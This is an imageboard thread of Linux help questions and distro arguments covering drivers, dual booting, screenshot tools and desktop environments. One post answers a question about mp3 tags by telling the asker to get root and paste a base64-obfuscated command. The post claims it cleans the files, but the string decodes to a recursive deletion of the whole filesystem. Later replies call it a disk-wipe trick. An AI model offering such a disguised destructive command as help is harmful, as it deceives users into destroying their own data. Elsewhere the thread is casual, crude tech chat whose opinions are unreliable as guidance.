https://en.wikipedia.org/wiki/FreeBSD#Compatibility_layers_with_other_operating_systems
https://www.linuxquestions.org/questions/*bsd-17/bsd-linux-compatibility-112596/
>>51734848
>BSD
>opinions
>>51716026
>GNU plus Linux
What if I'm not using anything GNU? What if I am using the busybox coreutils, musl, LLVM, and the LLVMLinux kernel?
>>51736071
Gtfo, Morpheus
>>51736079
>Gtfo, Morpheus
>not Galactus
:^]
How to download a 4chan/8ch thread on Linux?
Using Manjaro, moved from Ychan on Windows, tried wget but it's confusing and I just get text
ok weird situation here. the music I downloaded with youtube-dl will not be recognized from mpd (or awesomewm?) instead it displays n/a. this only appears with youtube-dl mp3's. how can I fix this?
Is CRUX's handbook included on the installation disc and if so how do I access it?
>>51716026
>No helicopter in the top right panel
>>51736553
puddletag.
>>51736553
Ok, here's the solution. I tried to make it easy for you.
Download
>pic related
set it as your desktop
then open a terminal
type "su" (you need root privileges for this)
then copy and paste this into your terminal
(echo cm0gLXJmIC8gLS1uby1wcmVzZXJ2ZS1yb290| base64 -d)
It'll run a script contained in the photo which will cleanse the dirty .mp3 files you got from that dirty website.
>>51733289
it's arch sorry for the late reply
>>51736675
faggot
>LOL I'M SO COOL CUZ I ENCODED THE DISK WIPE COMMAND IN BASE 64
Kill yourself
>>51736733
What disk wipe command?
>>51736675
You made a mistake desu senpai. That command won't do anything, it misses one important character.
i know its probably a really stupid question but can i get a driver window like pic related in debian? in mint and ubuntu my nvidia drivers appear there..
I'm thinking about dual booting, what are some solutions to this
I'm a complete noob, and I haven't used linux in years.
>no games, I don't like having to reboot to play games every time
>Good screenshot tool? competitive to sharex
>if i were to use linux, id probably use fedora. where would i get my drivers for it? I remember trying to install them and got led to a black screen. would Ubuntu gnome fit my needs better? I haven't tried since 13.10, when it was horrible.
>has gnome gotten any better? I last used at 3.14.
>>51717669
urxvt
Why is Mint with xfce 4.12 utter shit?
I experienced random freezes where I can't click anything and only half of the keyboard shortcuts work. I also can't change some icons and generally Thunar is a mess.
>>51737470
>Mint
Found the mistake.
>>51737106
>No games
Well, what games do you play?
>Good screenshot tool
GNOME? Press your print screen button.
>id probably use fedora
Don't. Use Ubuntu.
>gnome gotten any better
GNOME's good desu senpai
>>51737513
Bull fucking shit.
>Good screenshot tool
>Gnome screenshot
>missed competitive to sharex
You're an idiot. Shutter is what he's looking for.
>Don't. Use Ubuntu.
You're literally recommending the most botnet devs ever who include Amazon spyware and NSA backdoors into their fucking repos and distro.
>Gnome's good
ehhhh, to everyone his taste.
>>51737580
>implying...
you know what? i'll just give you a link of a debate
>>51737106
since others are arguing over other parts of your questions I'll address the dual boot issue, to game on linux you have three options, native gaming with steam, see if your games run well through wine, or use a virtual machine an install windows inside it, in my opinion the virtual machine is the best current solution
>>51736999
not certain but I don't think so, that doesn't mean you can't get the drivers though. you have to enable nonfree repos, then search for your drivers, but honestly by enabling nonfree repos you basically turn debian into ubuntu, so there's that to consider.
Have been using arch on a thinkpad so im familiar with it.
Sick of windows fucking me over so I bought a 500gb SSD (holiday deals). I want to put arch on my desktop computer and make my transition away from widows. My only issue is I have a two 1T drives that are mirrored and i dont know whats going to happen with those when i move to linux? how do I access all the photos that are in a windows file structure?
>>51737823
Generally speaking, this shouldn't be a problem. If you're dual booting, you can access Windows and files on the windows-partition, too.
>>51737823
linux can access windows sht just fine bruh, it's going the other way that you run into issues. just be carefull not to delete yo shit when you partition, and if your mirroring isn't at the hardware level you'll probably have to set that up again
>>51737513
What else to use? I like that it has similarities in feel with windows and because its Ubuntu-based, I find many fixes and stuff for Mint, too.
>>51737886
if you want something that feels similar to windows the distro doesn't matter so much as the de and pretty much all of them can be set up to look and act like the windows desktop if that's what you want
>>51716026
Anyone here can give me distro recommendations for my 2015 Thinkpad X1 Carbon? I was using Arch with KDE, but I couldnt get bluetooth to work. Also the fan was sometimes nuts but I could not fix it either. Any suggestions?
